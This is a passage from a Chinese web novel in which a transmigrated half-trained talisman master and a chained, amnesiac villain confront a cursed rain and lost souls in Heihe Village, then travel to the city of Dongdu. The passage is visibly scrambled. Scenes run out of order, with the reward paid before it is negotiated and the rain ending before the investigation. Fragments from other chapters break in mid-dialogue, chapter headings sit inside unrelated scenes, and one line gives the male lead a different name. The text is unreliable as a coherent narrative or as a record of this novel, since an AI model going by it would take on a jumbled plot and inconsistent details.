姜桡又抬头偷偷瞥向贺千宸,见他神情淡淡的样子,这才暗自松了口气,早知当初不哄骗他是什么心地善良的河神。 放下心的张公继续问道:“不知姜姑娘的那位祖师奶所写的游记中,那个邪祟是何物?这除掉邪祟,黑河村的邪雨是不是就可停下来?” 这也是黑河村的村民们最关心的问题。 邪雨连着下七天七夜,时大时小,田里的庄稼被淹死的不说,关键是镇上的流言蜚语,说什么他们黑河村受到了诅咒,闹鬼什么的,导致在山里找的山货都卖不出去。 姜桡沉默良久,才开口:“那邪祟被唤为殇魂。” 贺千宸猛的抬眸看向面前的姜桡,眼眸中迅速闪过一丝诧异,只是这抹诧异很快便被掩盖下去,他越发好奇这个女人的真正的身份了。 张公错愕道:“殇魂?” 他这辈子听过冤魂索命,河神发怒,狐狸精吸人精魄,可却从未听过什么殇魂这种邪祟。 张公虽有些怀疑,但想起姜桡先前露的那一手,立即打消心里的顾虑。 姜桡并不知身边两人心里在想些什么,她满脑子都是怎么找到殇魂,要如何将驱赶,从而拿到那一百两银子。 “对了,张公可知这场雨是从何时开始下的?” 姜桡觉得自己最大的金手指就是熟读全文,只可惜刚看完大结局,正准备翻开反派贺千宸那两万番外时,一脚踩空滚到书里头来了。 这话倒也提醒了张公,他回想片刻:“七天前!” 在场的村民们也纷纷点点头。 刚开始他们只以为是一场狐狸雨,直到这场雨连着下两天,才感到不对劲。 姜桡继续问道:“那七天前,村子里头可有发生什么事?” 殇魂徘徊在这黑河村内,定是被什么给吸引住。 坐在旁侧的贺千宸则是一愣,随即抬头对上姜桡看过来的视线,他嘴角微微上扬,便见那姜桡似是老鼠见到猫般,吓得挪开视线。 张公有些不明白姜桡的意思:“姜姑娘,你说的事是什么事?” 姜桡想了想:“就是这段时间里村中可发生什么大事?” 话音落后,围聚的村民们中,不知是谁突然开口。 “会不会跟方婆子有关?” 一石惊起前千层浪。 “方婆子是七天前出的殡!” “难不成方婆子的死有蹊跷,成了那什么殇魂,来报复她那没良心的儿媳妇?” 只是方婆子的死跟殇魂之间有没有关联,还要过去看看才行。 书中曾写过,有殇魂存在的地方,都会遗留下水银般的水渍,只是这一抹痕迹,普通人并不能瞧见,但男主却是特殊的存在。 姜桡虽是炮灰,但好歹是个半吊子符师,虽没有祖师奶以及师傅那么厉害,但也是有些本事在身上的。 若是开了天眼,兴许能瞧见如同水银般的水渍,最好能找到殇魂所寄生的宿主,找到本体,将其诛杀! 姜桡目光落在满脸惊愕的张公身上:“能否带我去看一眼?” 张公连忙起身:“行。” 说完,他便走在前方带路。 姜桡下意识抬腿跟过去,突然想到贺千宸还在这,她僵硬的身子扭头望去,只见贺千宸正笑盈盈的看着自个。 “阿姜,你方才可是将我忘了?” 姜桡好半响才反应过来,贺千宸口中的阿姜是在说自己,这般亲昵的称谓让她后背一凉。 还呆在屋内的村民们是知晓两人之间的关系,只以为两小口有私密话要谈,连忙起身出屋。 贺千宸站起身,他一袭青衣,墨发雪肤,长睫下的眼眸却幽深的可怕。 姜桡睁眼硬说瞎话:“没有!” 她似是想到什么,忽抬头看向贺千宸,犹豫半响,才开口轻声问道。 “你……你能对付殇魂吗?” 那一两百银子糊住了姜桡的双眼,在对上贺千宸那幽深的目光时,她刚才猛的清醒过来,殇魂并非那么好对付,原著中男主对付这些东西可都是九死一生。 更重要的是,姜桡忽略了一件事。 书中是有提过黑河村,以及被推入黑潭中的新娘,但时间却是十几年前。 也就是说,姜桡是穿书了,但穿的时间不对,眼下男主还只是两三岁的孩童。 贺千宸故作诧异:“阿姜在说什么胡话,我什么都忘了,怎能去对付那种邪祟!” 姜桡…… 失忆的反派这么弱的吗?脸上不由露出狐疑的神情。 见贺千宸勾起嘴角,他瞥见门口处那一抹衣角,脸上露出意味深长的笑意。 “阿姜是对付不了那邪祟吗?” 姜桡猛地睁大眼,下意识反驳:“我能对付。” 她只是对未知感到有些害怕罢了。 这回答让贺千宸有些意外,他瞧了面前女子许久,脸上依是挂着那抹淡淡的笑容。 “那阿姜小心些,若受了伤,我可是会心疼的!” 清润又低醇的嗓音说着亲昵关怀的话,可在姜桡耳里,似是毒蛇吐出信,发出恐怖的“嘶嘶”声。 她忍不住询问:“以前的那些事你真的一件都不记得?” 贺千宸一脸无辜:“阿姜是不信我?” 姜桡…… 良久,她略微敷衍的应道:“我信。” 这时在屋外偷听的张公探出身子:“姜姑娘,贺公子可是一起同行?” 想到两人脚踝还连着的铁链子,姜桡哪能把贺千宸留在屋子里头。 “他也一起。” 姜桡出屋后,才发现屋外围着不少村民们,他们皆目光灼灼盯着自个,显然村民们将所有的希望都压她的身上。 这无形的压力让姜桡紧抿着唇,她有些懊恼,早知晓讨了公道,就拿包袱走人,怎就被银子冲昏的头脑呢? 走在旁侧的贺千宸左手撑着白色雨伞,雨中所散发的那种熟悉而又难闻的气味,让他眉心紧蹙着,乌黑深睡的眼眸中,更是泛起冰冷的寒意。 方婆子家离这不远,没一会,这浩浩荡荡的一群人就赶到方家院子前。 院内的屋檐下,正站着一名身材瘦长,脸色憔悴的婶子,她边伸手揉了揉肩膀,边疑惑的开口道。 “你们来我家作甚?” 这几日村民们早就被这场邪雨搅得心烦意乱,知晓邪雨可能同方婆子的死有关系,对赵氏也没有什么好脸色。 人群中不知是谁愤愤不平的骂道:“来你家作甚,自然是算账,若不是你虐死自家婆婆,能引来这场邪雨。” 赵氏脸色一变:“别含血喷人,什么脏水都朝我身上泼。” 张公懒得理会赵氏,而是小心翼翼的看了眼姜桡:“姜姑娘,可是看出了什么?” 姜桡自然是什么都没看到,但她丝毫不慌。 “不急,待我开天眼。” 这让见过姜桡本事的村民们立即屏住呼吸,生怕打扰到她。 姜桡师承门派并非是传统道教,而是主修一个符,以朱砂等材料引天地之灵,注入黄符为我所用。她打小随师傅修行,千万种符的画法她皆知晓,但成功率却少的可怜。 想到这,姜桡凝神聚气,伸手打开挎包,将装有朱砂的陶瓷拿了出来,她以左手替笔,食指沾有红色朱砂,放置双眉中间,右手大拇指,食指与小拇指上挺,无名指和中指弯曲。 随着左手由上而下,一条红痕缓缓出现在姜桡的额间。 替姜桡撑伞的贺千宸直勾勾的盯着那条红痕,有些好奇这天眼是否能瞧见不远处那一抹银色的水渍,亦或者是躲在他们身后的那只殇魂。 姜桡并未睁眼,但她却能清晰的感受到,周边的景致已经发生天翻地覆的变化,甚至有些诡异。 类似于彩色电视突然成了黑白,但这也预示天眼开成功了! 周边的村民不知为何没了踪影,四周静寂的只剩下雨水砸落在纸伞上发出“哒哒”的声响。 姜桡察觉到一股视线落在自己身上,她忍不住转过身,睁开眼的瞬间,便对上贺千宸那似笑非笑的眼眸。 在黑白的世界中,只剩两人并肩而站,可最为显眼的是两人脚踝处相连的那条锁链,上方海时不时浮现的金色梵文。 随着金色梵文的流动,黑白世界开始增添其他的色彩,周边的村民也陆陆续续出现在姜桡的视野中,在那瞬间,姜桡隐隐约约听到一道很轻很轻的哭声。 她微微蹙眉,还未弄明白那哭声的来源,却在转过身的瞬间,被趴在赵氏后背上那只亡魂吓得一哆嗦。 可为了自己在村民中心中的形象,为了一百两银子。 姜桡撤回一条朝后退去的脚,控制住那微微发颤的手。 “可你寻人怎么办?” 姜桡愣在原地,她伸手摸着下巴沉思许久。 “问路指向东边,兴许是指东都呢?如果东都还没有找到,那只能去外界看看!” 听到外界两个字,贺千宸脸上露出几分惊慌失措的神情。 毕竟只要姜桡在外界稍微一打听,就能打听出来贺千宸是谁! 到时候…… 知道真相的阿桡,会不会不要自己? 还是? 在阿桡知晓真相之前,他先说出来,兴许阿桡就没有那么生气。 姜桡并不知贺千宸在想什么,她拉着贺千宸的手随意选了一条朝着东边小道走去。 只是没走多久,就听身后传来一阵剧烈的轰塌声。 第 27 章 第二十七章 那座曾诞生出神性的山,那座曾被黑雾笼罩的山,那座曾被尸骸覆盖的山,塌陷入地底下。 原本的山顶成为平地,那一株株绽放艳丽的花卉正随风摇曳着。 绚丽而又诡异。 姜桡看着消失不见的荒山,或许这是山神最后的温柔。 她收回目光,看着前方的小道。 “走吧。” “我们去找陆观棋跟许念。” 回过神的贺千宸点了点头,只是在半路上,他忍不住开口问道。 想到孩童只有半张脸的恐怖模样,姜桡话锋一转,只含糊说出王小虎昨夜站在大榕树下,哭着找自己求救的过程。 这件事略显得有的诡异,因活人是无法用魂体的方式出现。 张公脸色变得有些难看,他站起身:“姜姑娘不介意的话,可否随我去王小虎家瞧瞧。” 姜桡自是想弄清楚事情原委,她扭头看向无比安静的贺千宸。 “你也一起。” 路上,张公说起王小虎阿娘孙氏,那孙氏是被王小虎的爹买回来的婆娘,怀王小虎时,她男人在山里发生意外没了。 孤儿寡母也不容易。 三人撑伞前行,很快便走到村尾最后一家院子,那院子种着一棵老歪脖子树,刚靠近就听到院子里头传来凶狠的狗叫声。 只见一只大黑狗站在屋檐下,冲出三人呲牙狂吠。 张公站在篱笆外喊道:“孙氏可在家?” 连喊了三声,房门才“咯吱”一声被推开,一名穿着淡青色袄裙的女人缓缓走了出来,女人整个人憔悴的厉害,眼眶深陷,眼底更是一片乌青。 她先是轻声呵斥还在狂吠的黑犬:“阿柴。” 那黑犬极其听话,立即便噤声,摇着尾巴站在自家女主人的身边,警惕的看着外来人者。 张公直接开门见山道:“孙氏,你家小虎是不是出了什么事?” 孙氏脸色瞬间苍白,那纤瘦的身影晃了晃,眼眶更是红的厉害。 “前些日子,赵氏家里收菌子,他便随大牛还有二牛去祠堂后方的山脚下采菌子,回来时还好好,可第二天却怎么也喊不醒。” 黑河村的孩童还未学会走路时,就被阿娘装进竹筐中背着上山,后学会走路懂了点事,就跟大人上山采菌子,采草药等。 故此孙氏才放心四五岁的王小虎同六七岁的大牛二牛去山脚旁采菌子。 说到这里,她泪水再次落了下来。 小虎就是孙氏的身上落下的一块肉,如今昏迷不醒这些时日,比杀了她还要难受。 张公忍不住叹口气,只觉得孙氏命运坎坷。 \"可有喊郎中过来看?\" 孙氏点点头:“郎中说无大碍,可就不知为何不醒。” 听着两人对话的姜桡立即反应过来,为何那王小虎没有死,他却可以魂体的方式出现在自己的面前。 王小虎此时的情况,被称为“丢魂”。 通俗来讲,人的肉身像是一个容器,装着三魂六魄,魄是人体的本源,离开必死,可魂不一样,魂是可以游走。 因孩童心智不全,且凝魂能力薄弱,故此三魂最容易丢失,一旦丢失便会昏迷不醒,若魂一直没能回到本体,那肉身亦如折断的花蕾,久之会枯萎,直至死亡。 张公闻言,连忙看向姜姑娘,他沉思半响,还是没忍住将昨夜的事情说出来。 孙氏整个人都呆愣在原地,待回过神后,也不顾外面还下着雨,直接冲到姜桡面前,“扑腾”的跪在她的面前,双手死死的抓着姜桡的衣角,似是在抓那最后一根稻草般。 “姜姑娘,你既然能看到小虎,想必定是有本事的人。” “我就这么一个孩子,求求你救救他吧。” 孙氏悲鸣的哀求着,许是怕姜桡拒绝,她抓衣角的劲很大,大到难以想象如此薄弱的身体竟有这般力量。 本应是绵绵细雨,这雨势突然渐大,豆大的雨水砸在孙氏那苍白的脸上,混着泪水一起落下。 可不知为何,雨势又悄无声息渐小,小到姜桡都以为雨已经停了。 她不喜欢别人跪自己,边将伞挪到孙氏头顶,边伸手将其给拉起身。 “我试试看。” 姜桡只是个半吊子符师,不敢把话说的太满。 孙氏这几日只觉得天都要塌了,听到姜桡的答复后的瞬间,整个人像是在做梦,她下意识拽紧姜桡的手,因为激动,身体微微颤栗着。 姜桡轻声开口:“可否让我看看小虎状况?” 孙氏连忙道:“他在屋子里头,姜姑娘随我来。” 说完,她拉着姜桡的手朝屋内方向走去,贺千宸同张公紧随其后,那只吠人的黑狗此时安静的坐在屋檐下,目光死死的盯着院外,恶狠狠的呲起了牙。 贺千宸余光瞥了眼那只呲牙的黑狗,又侧目看了眼院外,随即整个人身影陷入黑暗之中。 屋内的光线很暗,直至孙氏将众人带到东边的房间内,视线才变得开阔明亮起来,姜桡一眼便看见躺在床榻上的王小虎。 王小虎身上穿着的衣物同昨夜那孩童身上是一模一样,不知那孩童只有半张脸的缘故,还是自己的错觉,她总觉眼前的王小虎有些陌生。 那只殇魂一直徘徊在孙氏的院门口!! 此时站在屋檐的大黑狗也安静了下来,只是那双漆黑的小眼睛依是警惕的盯着院外。 姜桡有些怀疑,方才叫魂叫来说完并非王小虎,而是那只殇魂,它应是在很早之前就守在这,却因忌惮脚边的大黑狗,才没敢进来。 可这只殇魂是被谁吸引的? 她不敢在那般草率,联想到王小虎出事前去采菌子的事,她开口道。 “我得去大牛二牛家一趟?” 孙氏疑惑的看着面前的姜姑娘,随即就反应过来,这是叫魂失败了,她张嘴开口想说些什么,可又害怕听到不好的结果。 良久,孙氏才哽咽的问道:“姜姑娘,小虎是不是回不来了?” 姜桡不知要如何回答这个问题,她忍不住侧目看向站在自己身后的贺千宸,却见贺千宸正漫不经心的看着天边云朵。 半响,姜桡收回目光,心里忍不住嘀咕着。 失忆的反派大佬相当于落水的凤凰,屁用都没有,自己是疯了才想让他来帮忙。 “他情况不一样,有些特殊” 这话说的模棱两可,但孙氏听后却重新燃起了希望。 站在一旁的张公突然开口道:“大牛二牛家在前面,姜姑娘,我带你过去。” 姜桡轻“嗯”了声,以防万一,她在临走前特意盯着孙氏,看好那条大黑狗,它会护住小虎的。 三人没走多远,张公缓缓停下步伐。 “姜姑娘,孙氏的确遭人同情,可眼下咱们是要解决这场邪雨。” 在他心中,这场雨才是重中之重。 陆观棋是日夜兼程骑着马赶到东都,许念坐在他身前,不知何时睡了过去。 他本不想带着许念,可在自己骑着马儿跑时,这丫头竟也拼命的追赶着。 最终陆观棋还是于心不忍将她带在身边,或许只是一场乌龙。 家里并没有出事,阿妹的手链只是不小心遗落在别人,恰好被人给捡了回去。 毕竟陆家在东都,那可算得上是首富! 陆观棋轻轻将许念推醒,他眼底满是红血丝,嘴唇也都起了死皮,身上还是在荒山穿的那套,整个人看起来极其狼狈。 “等进城,跟我回家再好好睡上一觉。” 许念点点头,然后手脚并用的下了马,紧紧地跟在陆观棋身后。 而在进城时,陆观棋就察觉到了不对劲。 第 28 章 第二十八章 姜桡与贺千宸是在五天后抵达到东都的,东都与姜桡所看到的城镇完全不同,遍野都是红墙绿瓦,突兀横出的楼阁,随风摇曳的商家旗帜。 东都,富裕繁荣。 只是两人走到街道上,正准备寻人打听陆观棋的下落时,街道两边的商贩忽都开始急急忙忙的收拾摊位。 姜桡有些疑惑,这天还没开始暗下来,怎么就准备关门了呢? 贺千宸却察觉出不对劲。 “我们先寻一家客栈歇脚,到时候再从小二那打听陆家的情况。” 姜桡点点头:“好!” 但奇怪的是,两人每到一家客栈前,小二都说已经客满,可店里头空荡荡的,压根就没有看到什么客人。 待将附在纸伞上的王小虎的魂体放出来,姜桡拖着疲倦的身体领着他朝屋内走去,孙氏是瞧不见正在悄悄牵着她手的王小虎,只能焦急的跟着姜桡身侧。 穿过漆黑的屋内,来到光线明亮的厢房,姜桡将贴在王小虎额头上缚魂用的黄符撕下来,才轻声嘱咐道。 “过去吧。” 王小虎抬头看向阿娘,又将目光落在眼前的姐姐身上,奶声奶气的感激道。 “姐姐,等我醒后,我把偷偷藏起来的糖糕分你一半。” 姜桡并未告知王小虎,魂体归位,是会忘记所有的事情,所以那一半的糖糕她怕是吃不上了。 等王小虎魂体回到肉身后,姜桡才开口告知孙氏。 “晚些他就能醒。” 孙氏闻言,眼眶瞬间就红了起来,她上前紧紧握住姜桡的双手,想开口说些什么,却哽咽的一句话都说不出来,泪水也不由自主地从眼眶中落了下来。 姜桡默默抽回自己的双手:“我得去找张公,就不在这多呆。” 想到张公承诺的那一百两银子,那疲倦不堪的身体瞬间充满力气,她从屋内走出去后,看了眼还站在院中的贺千宸。 雨停之后,温暖的阳光落在黑河村的每一寸土地上,逆光而站的贺千宸身上似是披上一层金色的余晖,给那张本就俊美无俦的脸上添了几分神性。 姜桡不由愣神片刻,才开口道。 “走吧,我们去要报酬。” 贺千宸嘴角露出一丝笑意,可眼底却是一片淡漠,他歪着头望向朝自己走过来的女子,那双狭长却不狭窄的丹凤眼微微眯起。 在等姜桡走进之后,忽开口问道。 “阿姜可真厉害。” 他的声音还是那般清润又低醇,好听的不行。 明明是称赞的话,可姜桡却莫名听出几分阴阳怪气,若换做别人,定是三言两语给硬怼回去,但眼前的是贺千宸,是随时都会取她小命的祖宗。 能怎么办呢。 只能先憋着,然后在心里骂骂咧咧。 姜桡看了眼笑盈盈的贺千宸,无比谦虚道:“以后别夸了,我怕我骄傲。” 贺千宸:…… 在雨停的那一瞬间,黑河村的村民们先是愣了半响,随即不可置信的冲出屋内,纷纷仰着头看着悬挂在头顶之上那晃眼的太阳。 半响。 不知是谁激动的嚎了嗓子,声音激动而又哽咽的欢呼道:“雨!雨停了!” 黑河村的村民们一半人高兴的笑着,一半人高兴的哭着。 站在屋檐下的张公眼眶微微发红,趁无人瞥见,迅速擦拭眼角那激动的泪渍,他很快就调整好自己的情绪,开口吩咐道。 “去杀只鸡宰只鸭,做顿丰富的午饭等姜姑娘与贺公子回来。” 若不是这两人,谁也不知这场邪雨会下到何时。 姜桡与贺千宸一前一后赶到张公家院前,便瞧见张公与众多村民们都站在门口迎着,这阵仗吓得姜桡还以为张公准备赖账,直到村民们一声又一声的感激后,她才暗自松口气。 待到屋内,张公也信守承诺,当着众人的面,将之前承诺好的报酬,也就是两张五十两银票递到姜桡的面前。 姜桡也不客气,边在心里头发出爆鸣般的欢悦声,边故作淡定的接过那两张银票,塞进腰间的挎包中,并轻轻的拍了拍。 这时张公开口道:“姜姑娘,贺公子,这时辰也不早了,不如先用午饭可好。” 今日姜桡号令符灵次数太多,体力的消耗导致肚子早就饥肠辘辘,在瞧见的端上来的炖鸡,糯米鸭,红烧肉时,不由自主地咽了咽嘴里的口水。 其他村民们也纷纷离去,毕竟那桌好菜是犒劳姜姑娘与贺公子的。 等白花花香喷喷的米饭端上来后,姜桡也没客气,夹了一块肥瘦相间的红烧肉酒开始埋头吃的起来。 张公正在给贺千宸边倒酒边解释道:“这是去年酿的糯米酒,别看有些浑浊,但这味香的很呀。” 空气中弥散淡淡的酒香气,倒在酒碗中的米酒整体呈乳白色,上面还漂浮着好几粒白色的糯米,贺千宸接过张公递过来的酒碗,嘴角露出温和的笑意。 “多谢。” “我脚上的破链子要如何解开?” 在姜桡眼里,贺千宸就像栓在自己脖子上的一根绳,随时都有勒死她的可能性,还是越早摆脱越好。 但? 姜桡狐疑的打量面前的老者,有些怀疑他是否能解惑,而所给的答案是真还是假? 只见老者持着一面幢幡的左手,大拇指在中指食指迅速掐算,良久才开口道。 “你脚上的链子名为生……” 可还未说完,就被站在一旁的贺千宸幽幽开口道:“娘子就这般想同我分开?” 他眸光微微颤了颤,随即缓缓上前贴近姜桡,蛰伏在眼底的寒意在垂眸那刻,被很好的掩盖下去,再次抬眸时,露出温润又无辜的神情。 这显得姜桡似是个负心汉般。 姜桡瞬间汗流浃背,没等她开口,便听贺千宸继续道。 “老先生不妨说清楚些,这破链子要如何解?” 他似是很生气,那声音低沉阴冷的厉害。 站在旁侧的黑河村村民们忍不住低头凑在一起,并小声嘀咕了起来。 “这贺公子生的如仙人般,姜姑娘怎愿与他分开哟。” “是呀!贺公子性格好的很,还是头一次见他这般生气!” 姜桡???? 她不由蹙起眉心,这听的都忍不住怀疑贺千宸是不是真对自己有几分意思! 可很快,姜桡就忍不住打了一个冷颤,并疯狂的摇着脑袋,将这无比荒唐的念头给甩了出去,并朝旁边挪了几步,拉开两人之间过于亲昵的距离。 是疯了,这祖宗对自己有意思! 老者怎会察觉不出自己的话是被故意给打断,他垂眸也不敢对视面前男子看过来的目光,方才掐手诀的左手微微有些发颤。 既不让说出生死契这三个字,那便不说。 可种如是因,收如是果。 “南境,那地方有解开你们身上契约的钥匙。” 话音落后,老者似是要比方才要显得苍老几分,那背也弯了些,他持着手中的幢幡,语气慎重。 “姜姑娘,你的心中所惑,老夫已解。” 没等姜桡回过神,老者就牵着那匹驴子,边带着他那双腿已废的师弟离去,嘴中边哼着。 “南境玉树百鸟鸣,芙蓉泣珠百花露。春生秋落月枯尽,拜见神女入乾坤。” “我们是吃了东西再去找人吗?是不是有点不太好?” 贺千宸有些忍俊不禁,他眉眼染上几分笑意,声音低沉且轻柔解释。 “是吃东西,也是寻人。” 人多的地方,也是获取信息最佳的地方。 贺千宸拉着姜桡的手走了过去,恰好那云吞摊位上空了一桌,等两人坐下来,姜桡双眼亮晶晶的盯着锅里头正在翻滚的云吞。 “这样吃食我可以都要一份吗?” 贺千宸愣了愣,他嘴角仰起:“我去给你买。” 他先招呼要了两碗云吞,又起身去别的吃食摊位那。 这时,姜桡忽听到身后有人在说鬼宅的事,她立马坐直身体,稍微朝后靠了靠,并竖起耳朵。 “昨晚鬼宅又出来找替死鬼了,也不知道是哪几个倒霉蛋被捉了去。” “都怪陆家,明明是他们惹出来的祸事。” 第 29 章 第二十九章 陆家! 姜桡可算明白“程千鹤”为什么会说,是去吃东西,也是去寻人。 只听身后几人继续道。 “陆家惹了祸事就罢,怎么牵扯我们一起遭罪。” “要不是陆家死了只剩下那个病秧子,我真想……” 余下的话没说完,几人都心照不宣的相互对视一眼。 张公先是愣了片刻,随即才想起来当初是在镇上碰到这位姜姑娘。 他本想着从镇上寻人伢子买个姑娘回村,结果不走运,找好半天,也没瞧见那人伢子的踪迹…… 正准备回村再想法子时,转角就碰见以地为摊位的姜姑娘,嘴里吆喝着什么捉鬼驱邪祟。 张公只当她是骗子,想着不如为民除害,便哄骗进村打晕,给套上嫁衣塞入花轿。 不曾想,这名姜姑娘并非说大话。 张公思索片刻:“一百两可行?” 黑河村地势极好,身后是连绵不绝的高山,他们靠山吃山,采菌子采草药,运气好挖出人参,采摘野灵芝,都是一笔不菲的收入。 故此家家户户都相当富裕,拼拼凑凑的话一百两也是能拿的出来。 五十两变成一百两! 姜桡只觉得幸福来的太过突然些,她努力压抑上扬的嘴角,轻咳几声后,故作严肃道。 “放心,黑河村的事情以后就是我姜桡的事。” 许是没想姜姑娘大人不记小人过,竟会这般爽快的答应,张公这心里头真不是哥滋味。见姜姑娘还站在雨中,全身湿漉漉的狼狈样子,他连忙开口道。 “姜姑娘,我让人给你烧些热水,先泡个热水澡换身干爽衣衫,吃些东西填饱肚子,再商议这邪雨的事。” 话音落后,张公就吩咐身边的几名婶子去厨房忙活起来。 姜桡本不觉得饿的,可听这一说,肚子立马叫喧个不停,她下意识跟在张公身后,朝着村内的方向走去。 没走几步,姜桡似是想起什么,整个人先僵在原地,后把迈出去的脚给收了回来。 怎又把这个祖宗给忘了! 姜桡转过身,便瞧见贺千宸正站在阳光下,那双漂亮的的五官露出浅浅的笑意,可眼眸中却似是深潭,不见半分情绪。 她下意识打了冷颤。 “张公,可否借把雨伞我。” 姜桡的目光落在贺千宸那双没有穿鞋的脚上,白皙的脚背上早沾有不少污渍,尤其是那被树枝划伤的红色伤痕,看起来极其的刺眼。 她这才想起来,这一路上贺千宸是光着脚走过来的。 犹豫半响,姜桡小声道。 “还有一双新布鞋。” 张公也没问:“我现在就给姜姑娘拿来。” 姜桡环顾四周,见周边也没有什么可避雨的地方,也只好站在雨幕中等候着,并幽幽的叹口气。 张公很快就赶了回来,许是怕把布鞋给弄湿,特意护在怀里。 他边把伞与布鞋递过去,边开口道:“这大小也不知合适不不合适。” 姜桡方才目测了下,大小应该差不多,想着又不是她穿。 “无事。” 黑河村口内跟村口外完全是两个不同的世界。 一边是细雨绵绵,另一边是晴空万里。 一边弥散腥臭的气味,另一边弥散有野花的芳香。 邪乎的很! 姜桡单手撑着雨伞走到贺千宸面前,她将手中的布鞋递过去。 “村子里头路湿漉漉的不好走,穿上鞋子会好些。” 贺千宸抬眸看着姜桡,在他记忆中,似是很少见这般狼狈又有活力的姑娘,他伸手接过鞋子。 有些意外的是,鞋子大小极其合适。 贺千宸低头看着脚上那双布鞋,良久才抬脚走入雨幕中,姜桡下意识将雨伞递过去,遮挡住落下来的雨水。 只是两人的身高差,让她不得不高高的抬直手,才让伞骨架碰到这祖宗的脑袋。 贺千宸见状,边伸手接过雨伞边轻声道:“我来。” 姜桡心里刚想嘀咕,贺千宸还是有些人情味在的,下一秒那冰冷的雨水砸落在她的脸上。 那把伞压根就没遮住她。 站在远处的张公在瞧清姜姑娘身边的男人相貌时,整个人都呆楞住,他活大半辈子,还从未见过生的这般好看的人。 张公没读什么书,只是觉得这个人站在黑河村,足以让整个黑河村蓬荜生辉。 一看就是大人物。 他小心翼翼道:“姜姑娘,想必这位就是尊师?” 姜桡?? 贺千宸脸上不由露出几分浅浅的笑意,嗓音清润温柔:“我是她夫君!” 张公瞬间瞪大眼睛,好半响都没回过神来! 姜桡则下意识抬头看向贺千宸,却见贺千宸脸上露出一副无辜的神情。 “我可说错话了?” 姜桡僵硬的脑袋摇了摇头,她生平第一次体会到,什么叫做搬起石头砸自己的脚。 热水与吃食早就备好。 黑河村民们见过姜桡的本事,下意识将所有的希望都寄托在这看起来很普通的的小姑娘身上。 可在瞧见贺千宸时,村里的年轻的小姑娘跟嫂嫂们,边羞红着脸,边瞧的都舍不得挪开眼。 直到张公告知姜桡同贺千宸的关系后,她们才依依不舍的收回目光。 姜桡舒舒服服的泡个热水澡,又换一身干爽的衣衫,那带着湿气的长发随意披在身后。 这时门从外被推开,进来的是两名年长的婶子,她们一人手里端着吃食,一人手里拿着姜桡的灰扑扑的大布包。 “姜姑娘放心,东西没被雨水打湿。” 将那奇怪的布包小心翼翼的放在木方桌上的嫂子,随即又继续道。 “这雨连下好几日,村里也没有什么能招待你的,只能煮碗酸菜鸡蛋面。” 她生怕会遭到嫌弃。 姜桡连忙走上前,待翻看布包看里面的东西都还在,脸上立即露出灿烂的笑容。 “劳烦两位婶婶了,待吃完我就去找张公商议邪雨的事。” 两名婶子见这姜姑娘这般客气,也不嫌弃她们招待的寒酸,心里的担忧慢慢散去,脸上也由多出几分笑意。 待姜桡落座后,张公便迫不及待地的询问。 “姜姑娘,你是不是知晓些什么?” 这话引得在场村民的目光皆落在姜桡的身上,贺千宸也将手中的姜汤放置桌面,那双狭长的丹凤眼也好奇的看过去。 姜桡想了想,然后把自个祖师奶给搬了上来当掩护。 “我祖师奶曾写过一本游记,游记中有一邪祟应是这场邪雨的罪魁祸首。” 张公瞬间瞪大眼,神情诧异:“是邪祟?不是河神发怒?” 贺千宸闻言,眉头一样,并意味深长的看向姜桡。 “河神发怒?” 姜桡吓得浑身一颤,立即大声道:“怎可污蔑河神!河神可是大好人!” 贺千宸没吭声, 陆观棋连忙凑到阿妹面前:“外面风大,你还是进屋里歇着。” 女子眼眶有些发红,她小心翼翼问道。 “兄长可是担心我拖累你?” 陆观棋连忙懊恼解释:“我不是这个意思,我只是担心你的身体。” 女子没吭声,只是转身朝着旁边的小院走去。 陆观棋担忧的看着阿妹一眼,才对着贺千宸与姜桡说道。 “那是我阿妹,陆殊词。” “她身体不是很好,而且家里发生那样的事情,所以脾性变得也有些古怪,但我阿妹是个心肠极好的人。” “对了,你们晚上没有地方歇脚吧,不如就住在我这,院子虽然小了些,但房间是够的。” 其实陆观棋也是有私心的,他想让贺千宸与姜桡留下来,更想让他们帮忙出手,调查出藏在东都中的邪祟。 这东都城惹出来的祸事,不应该都栽赃到陆家的身上。 第 30 章 第三十章 姜桡倒是无所谓,只是不知贺千宸愿不愿。 贺千宸怎会看不出陆观棋那些小心思,想着天黑后也不好找歇脚的地方,索性开口道。 “我听姜桡的。” 姜桡则道:“那就留下来。” 闻言,陆观棋连忙走在前面带路,余下三人跟在身后。 陆观棋没走几步便停了下来,他转身看向跟在姜桡身边的许念。 贺千宸神情温柔的将手中剥了大半蛋壳的水煮蛋递到姜桡面前,这让一直偷瞧他的韩琴脸上露出一抹失落。 姜桡则有些受宠如惊,她接过水煮蛋,先有些不可置信,后又怀疑这水煮蛋该不会是有毒。 “我……” 姜桡本想说自己吃不下,可侧目对上贺千宸那似笑非笑的神情,后几个字立即咽下肚,她也不知道怎么就突然怂了。 韩员外也逐渐回过神,他试探性问道。 “姜姑娘可知藏在茶庄中的邪祟是什么吗?” 被那颗水煮蛋差点咽死的姜桡正拼命的捶着自己的胸膛,那双灵动的葡萄眼更是溢满水雾,水汪汪的似是躲藏在林间小鹿。 坐在韩员外旁侧的韩青见状,眼中露出一丝兴致。 姜桡装傻摇摇头:“不知道。” 从进阿茶山开始,她就感觉很不安,在进茶庄后,这种不安越发强烈,同在黑河村的感觉完全不同。 故此她怀疑,这只殇魂要厉害的很多。 以免打草惊蛇,还是装作不知道的好。 韩员外脸色瞬间难看的起来,但想到茶庄外那诡异的雾气后,又暗自松了口气,如今大家都是一根绳上的蚂蚱,若姜姑娘不解决藏在茶庄中的邪祟,怕也是自身难保。 姜桡并不知晓韩员外的想法,她目光落向向厅外,看着那些挂在树上与绑在柱子上的白布,似是想到什么,忍不住问道。 “你阿娘死了多少日?” 韩员外先是一愣,随即道:“三日。” 姜桡闻言,蹙紧眉心,一般来说,人死之后七日才会回魂,而韩老夫人这种情况只有一种可能,韩老夫人是枉死的。 只有枉死的人才会阴魂不散,停留原地。 姜桡狐疑的看了眼韩员外,那他是知道自己亲娘枉死?还是不知道? 犹豫半响。 姜桡问道:“我能否查看韩老夫人的尸身?” 屋内众人大多已填饱肚子,在听到这句话后都呆愣住,韩员外眼中掠过一抹慌张,可又很快冷静下来,他看着盯着自己的小姑娘。 “这怕是有些不妥。” 说完,韩员外的目光就瞥了眼丁氏。 没等姜桡开口继续问道,丁氏就抢先解释:“姜姑娘有所不知,我们这习俗与别处不同,人死第一日就得封棺,若要查看尸身,就得起钉,这般做怕是会惊扰亡魂。” 她声音轻柔的似是一阵春风。 姜桡听出来了,韩家人不想开馆,但这人死第一日就封棺的习俗就有点奇怪了。 